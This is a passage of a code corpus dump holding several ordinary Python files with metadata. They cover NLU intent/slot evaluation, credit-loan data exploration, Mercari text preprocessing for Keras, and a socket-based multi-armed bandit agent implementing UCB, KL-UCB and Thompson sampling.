zip(slot_labels_clean, slot_predictions_clean):\n # print(seq_lab, seq_pred)\n seq_match = [\n True if np.array_equal(yseq_true, yseq_pred) else False\n for yseq_true, yseq_pred in zip(slot_labels_clean, slot_predictions_clean)\n ]\n\n\n exact_matches = np.logical_and(intent_matches,seq_match)\n #print(list(zip(intent_matches,seq_match)))\n num_exact = np.sum(exact_matches)\n total = len(intent_labels)\n return num_exact/ float(total)\n #print(seq_match)\n\n\ndef running_metrics(p):\n intent_predictions, slot_predictions = p.predictions\n intent_labels, slot_labels = p.label_ids\n\n slot_predictions = np.argmax(slot_predictions, axis=2)\n intent_predictions = np.argmax(intent_predictions, axis=1)\n\n slot_predictions_clean = [\n [p for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n slot_labels_clean = [\n [l for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(slot_predictions, slot_labels)\n ]\n intent_f1 = f1_score(intent_labels, intent_predictions, average=\"macro\")\n intent_accuracy = accuracy_score(intent_labels, intent_predictions)\n flat_acc = seq_metrics.flat_accuracy_score(\n slot_labels_clean, slot_predictions_clean\n )\n flat_f1 = seq_metrics.flat_f1_score(\n slot_labels_clean, slot_predictions_clean, average=\"macro\"\n )\n slt_f1_weighted = seq_metrics.flat_f1_score(\n slot_labels_clean, slot_predictions_clean, average=\"weighted\"\n )\n return {\n \"flat slot accuracy\": flat_acc,\n \"flat slot f1\": flat_f1,\n \"weighted slot f1\": slt_f1_weighted,\n \"intent f1\": intent_f1,\n \"intent accuracy\": intent_accuracy,\n }\n\n\n# temporary predict function\n# now works with integrated prediction_loop from Trainer class\n# def predict(\n# model, test_dataloader, intent_labels_list=None, slot_labels_list=None, report=True\n# ):\n# gold_intent = []\n# gold_slots = []\n# pred_intent = []\n# pred_slots = []\n# gold_slots_seq = []\n# pred_slots_seq = []\n# for example in test_loader:\n# input_ids = example[\"input_ids\"]\n# attention_mask = example[\"attention_mask\"]\n# results = model(\n# input_ids=input_ids.to(device), attention_mask=attention_mask.to(device)\n# )\n# intent = np.argmax(results[\"intents\"].cpu().detach().numpy(), axis=1)\n# slots = np.argmax(results[\"slots\"].cpu().detach().numpy(), axis=2)\n# slots = slots[0]\n# real_intent = example[\"intent_label_ids\"].tolist()\n# real_slots = example[\"slot_labels_ids\"]\n# real_slots = [i.item() for i in real_slots]\n# # print(intent,real_intent)\n# pred_intent.extend(intent)\n# pred_slots.extend(slots)\n# gold_intent.extend(real_intent)\n# gold_slots.extend(real_slots)\n# gold_slots_seq.append(real_slots)\n# pred_slots_seq.append(slots)\n# sanitized_gold, sanitized_pred = remove_padding(gold_slots, pred_slots)\n# if report:\n# # TODO catch NONE parameters\n# print(\n# classification_report(\n# gold_intent, pred_intent, target_names=intent_labels_list\n# )\n# )\n# print(\n# classification_report(\n# sanitized_gold,\n# sanitized_pred,\n# labels=list(range(len(slot_labels_list))),\n# target_names=slot_labels_list,\n# )\n# )\n# # print(metrics.sequence_accuracy_score(gold_slots_seq, pred_slots_seq))\n# return {\"intents\": pred_intent, \"slots\": pred_slots}\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n path2train_en = \"/home/santi/BA/multilingual_task_oriented_dialog_slotfilling/en/train-en.conllu\"\n path2eval_en = (\n \"/home/santi/BA/multilingual_task_oriented_dialog_slotfilling/en/eval-en.conllu\"\n )\n path2test_en = (\n \"/home/santi/BA/multilingual_task_oriented_dialog_slotfilling/en/eval-en.conllu\"\n )\n\n pretrained_name = \"xlm-roberta-base\"\n tokenizer = AutoTokenizer.from_pretrained(pretrained_name)\n\n data_collator = DataCollatorForTokenClassification(tokenizer)\n\n train_set = ConLLLoader(\n path2train_en, tokenizer, intent_labels_list, slot_labels_list\n )\n val_set = ConLLLoader(path2eval_en, tokenizer, intent_labels_list, slot_labels_list)\n test_set = ConLLLoader(\n path2test_en, tokenizer, intent_labels_list, slot_labels_list\n )\n\n training_args = TrainingArguments(\n output_dir=\"./results\", # output directory\n num_train_epochs=10, # total # of training epochs\n per_device_train_batch_size=32, # batch size per device during training\n warmup_steps=500, # number of warmup steps for learning rate scheduler\n weight_decay=0.01, # strength of weight decay\n logging_dir=\"./logs\",\n learning_rate=5e-5,\n save_steps=2000,\n label_names=[\"intent_label_ids\", \"slot_labels_ids\"],\n evaluation_strategy=\"epoch\",\n )\n\n conf = config_init(pretrained_name)\n model = JointClassifier(conf, num_intents=12, num_slots=31)\n trainer = Trainer(\n model=model,\n args=training_args,\n train_dataset=train_set,\n eval_dataset=val_set,\n data_collator=data_collator,\n compute_metrics=running_metrics,\n )\n\n res = trainer.evaluate()\n print(res)\n trainer.train()\n", "sub_path": "joint_metrics.py", "file_name": "joint_metrics.py", "file_ext": "py", "file_size_in_byte": 10651, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.argmax", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics.sequence_accuracy_score", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 89, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics.flat_classification_report", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 104, "usage_type": "name"}, {"api_name": "sklearn_crfsuite.metrics.flat_classification_report", "line_number": 116, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 116, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 181, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 191, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics.flat_accuracy_score", "line_number": 193, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 193, "usage_type": "name"}, {"api_name": "sklearn_crfsuite.metrics.flat_f1_score", "line_number": 196, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 196, "usage_type": "name"}, {"api_name": "sklearn_crfsuite.metrics.flat_f1_score", "line_number": 199, "usage_type": "call"}, {"api_name": "sklearn_crfsuite.metrics", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 262, "usage_type": "attribute"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 273, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 273, "usage_type": "name"}, {"api_name": "transformers.DataCollatorForTokenClassification", "line_number": 275, "usage_type": "call"}, {"api_name": "preprocessing.conll_loader.ConLLLoader", "line_number": 277, "usage_type": "call"}, {"api_name": "preprocessing.conll_loader.intent_labels_list", "line_number": 278, "usage_type": "argument"}, {"api_name": "preprocessing.conll_loader.slot_labels_list", "line_number": 278, "usage_type": "argument"}, {"api_name": "preprocessing.conll_loader.ConLLLoader", "line_number": 280, "usage_type": "call"}, {"api_name": "preprocessing.conll_loader.intent_labels_list", "line_number": 280, "usage_type": "argument"}, {"api_name": "preprocessing.conll_loader.slot_labels_list", "line_number": 280, "usage_type": "argument"}, {"api_name": "preprocessing.conll_loader.ConLLLoader", "line_number": 281, "usage_type": "call"}, {"api_name": "preprocessing.conll_loader.intent_labels_list", "line_number": 282, "usage_type": "argument"}, {"api_name": "preprocessing.conll_loader.slot_labels_list", "line_number": 282, "usage_type": "argument"}, {"api_name": "transformers.TrainingArguments", "line_number": 285, "usage_type": "call"}, {"api_name": "transformers.Trainer", "line_number": 300, "usage_type": "call"}]} +{"seq_id": "628423225", "text": "import pandas as pd\nimport matplotlib.pyplot as plt\n\n################## Explore the credit data ##################\n\ncr_loan = pd.read_csv(\".\\\\datasets\\cr_loan_nout_nmiss.csv\")\n\n# Check the structure of the data\nprint(cr_loan.dtypes)\n\n# Check the first five rows of the data\nprint(cr_loan.head(5))\n\n\n# Look at the distribution of loan amounts with a histogram\nn, bins, patches = plt.hist(x=cr_loan['loan_amnt'], bins='auto', color='blue',alpha=0.7, rwidth=0.85)\nplt.xlabel(\"Loan Amount\")\nplt.show()\n\nprint(\"There are 32 000 rows of data so the scatter plot may take a little while to plot.\")\n\n# Plot a scatter plot of income against age\nplt.scatter(cr_loan['person_income'], cr_loan['person_age'],c='blue', alpha=0.5)\nplt.xlabel('Personal Income')\nplt.ylabel('Persone Age')\nplt.show()\n\n# Create a cross table of home ownership, loan status, and grade\nprint(pd.crosstab(cr_loan['person_home_ownership'],[cr_loan['loan_status'],cr_loan['loan_grade']]))\n\n# Create a cross table of home ownership, loan status, and average percent income\nprint(pd.crosstab(cr_loan['person_home_ownership'], cr_loan['loan_status'], values=cr_loan['loan_percent_income'], aggfunc='mean'))\n\n# Create a box plot of percentage income by loan status\ncr_loan.boxplot(column = ['loan_percent_income'], by = 'loan_status')\nplt.title('Average Percent Income by Loan Status')\nplt.suptitle('')\nplt.show()\n\n# Create the cross table for loan status, home ownership, and the max employment length\nprint(pd.crosstab(cr_loan['loan_status'],cr_loan['person_home_ownership'],\n values=cr_loan['person_emp_length'], aggfunc='max'))\n\n###############\n#OUTLIERS REMOVAL\n###############\n\n\n# Create an array of indices where employment length is greater than 60\nindices = cr_loan[cr_loan['person_emp_length'] > 60].index\n\n# Drop the records from the data based on the indices and create a new dataframe\ncr_loan_new = cr_loan.drop(indices)\n\n# Create the cross table from earlier and include minimum employment length\nprint(pd.crosstab(cr_loan_new['loan_status'],cr_loan_new['person_home_ownership'], values=cr_loan_new['person_emp_length'], aggfunc=['min','max']))\n\n# Create the scatter plot for age and amount\nplt.scatter(cr_loan['person_age'], cr_loan['loan_amnt'], c='blue', alpha=0.5)\nplt.xlabel(\"Person Age\")\nplt.ylabel(\"Loan Amount\")\nplt.show()\n\n\n# Use Pandas to drop the record from the data frame and create a new one\ncr_loan_new = cr_loan.drop(cr_loan[cr_loan['person_age'] > 100].index)\n\n\n# Use Pandas to drop the record from the data frame and create a new one\ncr_loan_new = cr_loan.drop(cr_loan[cr_loan['person_age'] > 100].index)\n\n# Create a scatter plot of age and interest rate\ncolors = [\"blue\",\"red\"]\nplt.scatter(cr_loan_new['person_age'], cr_loan_new['loan_int_rate'], c = cr_loan_new['loan_status'], alpha=0.5)\nplt.xlabel(\"Person Age\")\nplt.ylabel(\"Loan Interest Rate\")\nplt.show()\n\n###############\n#MISSING DATA REMOVAL/IMPUTATION\n###############\n\ncr_loan = pd.read_csv(\".\\\\datasets\\cr_loan2.csv\")\n\n# Print an array of columns with null values\nprint(cr_loan.columns[cr_loan.isnull().any()])\n\n# Print the top five rows with nulls for employment length\nprint(cr_loan[cr_loan['person_emp_length'].isnull()].head())\n\n# Replace the null values with the median value for all employment lengths\ncr_loan['person_emp_length'].fillna((cr_loan['person_emp_length'].median()), inplace=True)\n\n# Create a histogram of employment length\nn, bins, patches = plt.hist(cr_loan['person_emp_length'], bins='auto', color='blue')\nplt.xlabel(\"Person Employment Length\")\nplt.show()\n\n# Print the number of nulls\nprint(cr_loan['loan_int_rate'].isnull().sum())\n\n# Store the array on indices\nindices = cr_loan[cr_loan['loan_int_rate'].isnull()].index\n\n# Save the new data without missing data\ncr_loan_clean = cr_loan.drop(indices)\n\n\n# Count the number of records for each unique value\ncr_loan['person_home_ownership'].value_counts()\n\n", "sub_path": "Exploratory data analysis.py", "file_name": "Exploratory data analysis.py", "file_ext": "py", "file_size_in_byte": 3890, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "pandas.crosstab", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "pandas.crosstab", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}]} +{"seq_id": "171274509", "text": "import os\n\nimport numpy as np\nimport pandas as pd\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.preprocessing import LabelEncoder\n\nos.chdir(\"C:\\\\Kaggle_Mercari\")\n\n# define data types\ntypes_train = {'train_id': 'int64',\n 'item_condition_id': 'int8',\n 'price': 'float64',\n 'shipping': 'int8'}\n\ntypes_test = {'test_id': 'int64',\n 'item_condition_id': 'int8',\n 'price': 'float64',\n 'shipping': 'int8'}\n\ntrain = pd.read_csv('train.tsv', sep='\\t', low_memory=True, dtype=types_train)\ntest = pd.read_csv('test.tsv', sep='\\t', low_memory=True, dtype=types_test)\n\n# HANDLE MISSING VALUES\nprint(\"Handling missing values...\")\n\n\ndef handle_missing(dataset):\n dataset.category_name.fillna(value=\"missing\", inplace=True)\n dataset.brand_name.fillna(value=\"missing\", inplace=True)\n dataset.item_description.fillna(value=\"missing\", inplace=True)\n return dataset\n\n\ntrain = handle_missing(train)\ntest = handle_missing(test)\n\n# PROCESS CATEGORICAL DATA\nprint(\"Handling categorical variables...\")\nle = LabelEncoder()\n\nle.fit(np.hstack([train.category_name, test.category_name]))\ntrain['category'] = le.transform(train.category_name)\ntest['category'] = le.transform(test.category_name)\n\nle.fit(np.hstack([train.brand_name, test.brand_name]))\ntrain['brand'] = le.transform(train.brand_name)\ntest['brand'] = le.transform(test.brand_name)\ndel le, train['brand_name'], test['brand_name']\n\n# PROCESS TEXT: RAW\nprint(\"Text to seq process...\")\nprint(\" Fitting tokenizer...\")\n\nraw_text = np.hstack([train.category_name.str.lower(),\n train.item_description.str.lower(),\n train.name.str.lower()])\n\ntok_raw = Tokenizer()\ntok_raw.fit_on_texts(raw_text)\nprint(\" Transforming text to seq...\")\ntrain[\"seq_category_name\"] = tok_raw.texts_to_sequences(train.category_name.str.lower())\ntest[\"seq_category_name\"] = tok_raw.texts_to_sequences(test.category_name.str.lower())\ntrain[\"seq_item_description\"] = tok_raw.texts_to_sequences(train.item_description.str.lower())\ntest[\"seq_item_description\"] = tok_raw.texts_to_sequences(test.item_description.str.lower())\ntrain[\"seq_name\"] = tok_raw.texts_to_sequences(train.name.str.lower())\ntest[\"seq_name\"] = tok_raw.texts_to_sequences(test.name.str.lower())\n\ntrain.price = np.log1p(train.price)\nprint(train.head(6))\n\nprint(train.dtypes)\n\ntrain.to_csv(\"keras_train.tsv\", sep='\\t')\n\n# MAX_NAME_SEQ = 20 # 17\n# MAX_ITEM_DESC_SEQ = 60 # 269\n# MAX_CATEGORY_NAME_SEQ = 20 # 8\n# MAX_TEXT = np.max([np.max(train.seq_name.max())\n# , np.max(test.seq_name.max())\n# , np.max(train.seq_category_name.max())\n# , np.max(test.seq_category_name.max())\n# , np.max(train.seq_item_description.max())\n# , np.max(test.seq_item_description.max())]) + 2\n# MAX_CATEGORY = np.max([train.category.max(), test.category.max()]) + 1\n# MAX_BRAND = np.max([train.brand.max(), test.brand.max()]) + 1\n# MAX_CONDITION = np.max([train.item_condition_id.max(),\n# test.item_condition_id.max()]) + 1\n#\n#\n# # KERAS DATA DEFINITION\n# def get_keras_data(dataset):\n# X = {\n# 'name': pad_sequences(dataset.seq_name, maxlen=MAX_NAME_SEQ)\n# , 'item_desc': pad_sequences(dataset.seq_item_description\n# , maxlen=MAX_ITEM_DESC_SEQ)\n# , 'brand': np.array(dataset.brand)\n# , 'category': np.array(dataset.category)\n# , 'category_name': pad_sequences(dataset.seq_category_name\n# , maxlen=MAX_CATEGORY_NAME_SEQ)\n# , 'item_condition': np.array(dataset.item_condition_id)\n# , 'num_vars': np.array(dataset[[\"shipping\"]])\n# }\n# return X\n#\n#\n# X_train = get_keras_data(train)\n# X_test = get_keras_data(test)\n", "sub_path": "data_processing_for_keras.py", "file_name": "data_processing_for_keras.py", "file_ext": "py", "file_size_in_byte": 3888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.chdir", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.preprocessing.text.Tokenizer", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.log1p", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "346820713", "text": "import socket\nimport argparse\nimport logging\nimport numpy as np\nimport math\nimport csv\nimport sys\n\n\nlogging.basicConfig(\n format='[%(levelname)s][%(asctime)s]: %(message)s',\n level=logging.ERROR\n)\n\n\nclass BanditAgent():\n\n def __init__(self, args):\n logging.info('initializing bandit agent..')\n self.num_arms = args.numArms\n self.random_seed = args.randomSeed\n self.horizon = args.horizon\n self.hostname = args.hostname\n self.port = args.port\n\n self.total_pulls = 0\n self.pull_history = []\n self.reward_history = []\n\n self.arm_values = [0.0] * self.num_arms\n self.arm_counts = [0] * self.num_arms\n\n def connect_to_server(self):\n logging.debug('connecting to server: %s:%d' % (self.hostname, self.port))\n self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n self.client_socket.connect((self.hostname, self.port))\n except Exception as e:\n print('connection problem.')\n self.client_socket.close()\n sys.exit(1)\n\n def close_connection(self):\n self.client_socket.close()\n\n def sample_arm(self):\n \"\"\"\n abstract method: should be implemented in subclass\n \"\"\"\n raise NotImplementedError(\"Subclasses should implement this!\")\n\n def pull_arm(self):\n \"\"\"\n select an arm and send it's ID to server.\n receive reward from server and update history\n \"\"\"\n arm_id = self.sample_arm()\n\n self.client_socket.send(str(arm_id).encode())\n data = self.client_socket.recv(256).decode()\n\n try:\n reward = float(data.split(',')[0])\n except Exception as e:\n print('\\n' + str(e), 'arm_id:', arm_id)\n return\n\n self.update(arm_id, reward)\n\n def update(self, arm_id, reward):\n self.total_pulls += 1\n self.pull_history.append(arm_id)\n self.reward_history.append(reward)\n\n logging.debug('pull %d - arm: %d, reward: %f' % (self.total_pulls, arm_id, reward))\n\n # increment pull count of the arm pulled just now\n self.arm_counts[arm_id] += 1\n n = self.arm_counts[arm_id]\n\n # update empirical mean\n self.arm_values[arm_id] = ((n - 1) * self.arm_values[arm_id] + reward) / float(n)\n\n def run(self):\n \"\"\"\n run bandit till horizon\n \"\"\"\n self.connect_to_server()\n\n while self.total_pulls < self.horizon:\n self.pull_arm()\n\n # arm_id = self.sample_arm()\n # while self.client_socket.send(str(arm_id).encode()) > 0:\n # data = self.client_socket.recv(256).decode()\n # reward = float(data.split(',')[0])\n # self.update(arm_id, reward)\n # arm_id = self.sample_arm()\n\n self.close_connection()\n\n def save_history(self, file_name):\n \"\"\"\n save reward history into a csv file\n \"\"\"\n with open(file_name, 'w') as f:\n writer = csv.writer(f, delimiter=',')\n for i in range(self.total_pulls):\n writer.writerow([self.pull_history[i], self.reward_history[i]])\n\n\nclass RoundRobinAgent(BanditAgent):\n\n def __init__(self, args):\n super(RoundRobinAgent, self).__init__(args)\n\n def sample_arm(self):\n return self.total_pulls % self.num_arms\n\n\nclass EpsilonGreedyAgent(BanditAgent):\n\n def __init__(self, args):\n super(EpsilonGreedyAgent, self).__init__(args)\n self.epsilon = args.epsilon\n\n def sample_arm(self):\n p = np.random.uniform()\n if p < self.epsilon:\n # explore uniformly at random\n return np.random.randint(0, self.num_arms)\n else:\n # pull arm with highest empirical mean\n return np.argmax(self.arm_values)\n\n\nclass UCBAgent(BanditAgent):\n\n def __init__(self, args):\n super(UCBAgent, self).__init__(args)\n\n def sample_arm(self):\n # pull each arm once\n if self.total_pulls < self.num_arms:\n return self.total_pulls\n\n ucb_values = [0.0] * self.num_arms\n\n for i in range(self.num_arms):\n confidence_term = math.sqrt((2 * math.log(self.total_pulls)) / self.arm_counts[i])\n ucb_values[i] = self.arm_values[i] + confidence_term\n\n return np.argmax(ucb_values)\n\n\ndef kl(x, y):\n t1 = 0\n try:\n t1 = x * math.log(x / y)\n except Exception as e:\n # print('t1', x, y)\n pass\n\n t2 = 0\n try:\n t2 = (1 - x) * math.log((1 - x) / (1 - y))\n except Exception as e:\n # print('t2', x, y)\n pass\n\n return t1 + t2\n\n\nclass KLUCBAgent(BanditAgent):\n\n def __init__(self, args):\n super(KLUCBAgent, self).__init__(args)\n logging.info('initialized KL-UCB agent.')\n self.tolerance = 1e-6\n\n def kl_upper_bound(self, arm_id):\n u = self.arm_counts[arm_id]\n t = self.total_pulls\n return (math.log(t) + 3 * math.log(math.log(t))) / u\n # return math.log(t) / u\n\n def ucb(self, arm_id):\n upper_bound = self.kl_upper_bound(arm_id)\n p_a = self.arm_values[arm_id]\n\n # binary search\n low = p_a\n high = 1\n mid = (low + high) / 2\n while abs(low - high) > self.tolerance:\n mid = (low + high) / 2\n if kl(p_a, mid) <= upper_bound:\n low = mid\n else:\n high = mid\n\n # print(kl(p_a, mid), upper_bound, mid, self.arm_counts[arm_id], self.total_pulls)\n return mid\n\n def sample_arm(self):\n # pull each arm once\n if self.total_pulls < self.num_arms:\n return self.total_pulls\n\n ucb_values = [0.0] * self.num_arms\n\n for i in range(self.num_arms):\n ucb_values[i] = self.ucb(i)\n\n # max_arm = np.argmax(ucb_values)\n # print(max_arm, self.arm_values[max_arm])\n return np.argmax(ucb_values)\n\n\nclass ThompsonSamplingAgent(BanditAgent):\n\n def __init__(self, args):\n super(ThompsonSamplingAgent, self).__init__(args)\n self.arm_success_counts = [0] * self.num_arms\n self.arm_failure_counts = [0] * self.num_arms\n\n def sample_arm(self):\n # sample each x from each arm's beta distribution\n sample_values = []\n for i in range(self.num_arms):\n a = self.arm_success_counts[i] + 1\n b = self.arm_failure_counts[i] + 1\n sample_values.append(np.random.beta(a, b))\n return np.argmax(sample_values)\n\n def update(self, arm_id, reward):\n super(ThompsonSamplingAgent, self).update(arm_id, reward)\n\n # do a Bernoulli trial with reward as success prob\n p = np.random.uniform()\n if p < reward:\n # success\n self.arm_success_counts[arm_id] += 1\n else:\n self.arm_failure_counts[arm_id] += 1\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Bandit agent args.')\n parser.add_argument('--numArms', metavar='N', help='number of arms of the bandit.', type=int, default=5)\n parser.add_argument('--randomSeed', metavar='R', help='seed for generating random nums.', type=int, default=0)\n parser.add_argument('--horizon', metavar='T', help='how long should the bandit run.', type=int, default=200)\n parser.add_argument('--hostname', metavar='', help='address of host/server', type=str, default='localhost')\n parser.add_argument('--port', metavar='p', help='server port number.', type=int, default=5000)\n parser.add_argument('--algorithm', metavar='A', help='bandit algorithm', type=str, default='rr')\n parser.add_argument('--epsilon', metavar='e', help='small positive value', type=float, default=0.0)\n\n args = parser.parse_args()\n\n if args.algorithm == 'rr':\n agent = RoundRobinAgent(args)\n elif args.algorithm == 'epsilon-greedy':\n agent = EpsilonGreedyAgent(args)\n elif args.algorithm == 'UCB':\n agent = UCBAgent(args)\n elif args.algorithm == 'KL-UCB':\n agent = KLUCBAgent(args)\n elif args.algorithm == 'Thompson-Sampling':\n agent = ThompsonSamplingAgent(args)\n\n agent.run()\n # agent.save_history('../client_log.csv')\n", "sub_path": "PA1/client/agent.py", "file_name": "agent.py", "file_ext": "py", "file_size_in_byte": 8223, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.basicConfig", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 34, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 35, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 35, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 76, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 135, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 151, "usage_type": "call"}, {"api_name": "math.log", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 154, "usage_type": "call"}, {"api_name": "math.log", "line_number": 160, "usage_type": "call"}, {"api_name": "math.log", "line_number": 167, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 179, "usage_type": "call"}, {"api_name": "math.log", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.random.beta", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 234, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 241, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 251, "usage_type": "call"}]} +{"seq_id": "178557130", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[42]:\n\n\nimport pandas as 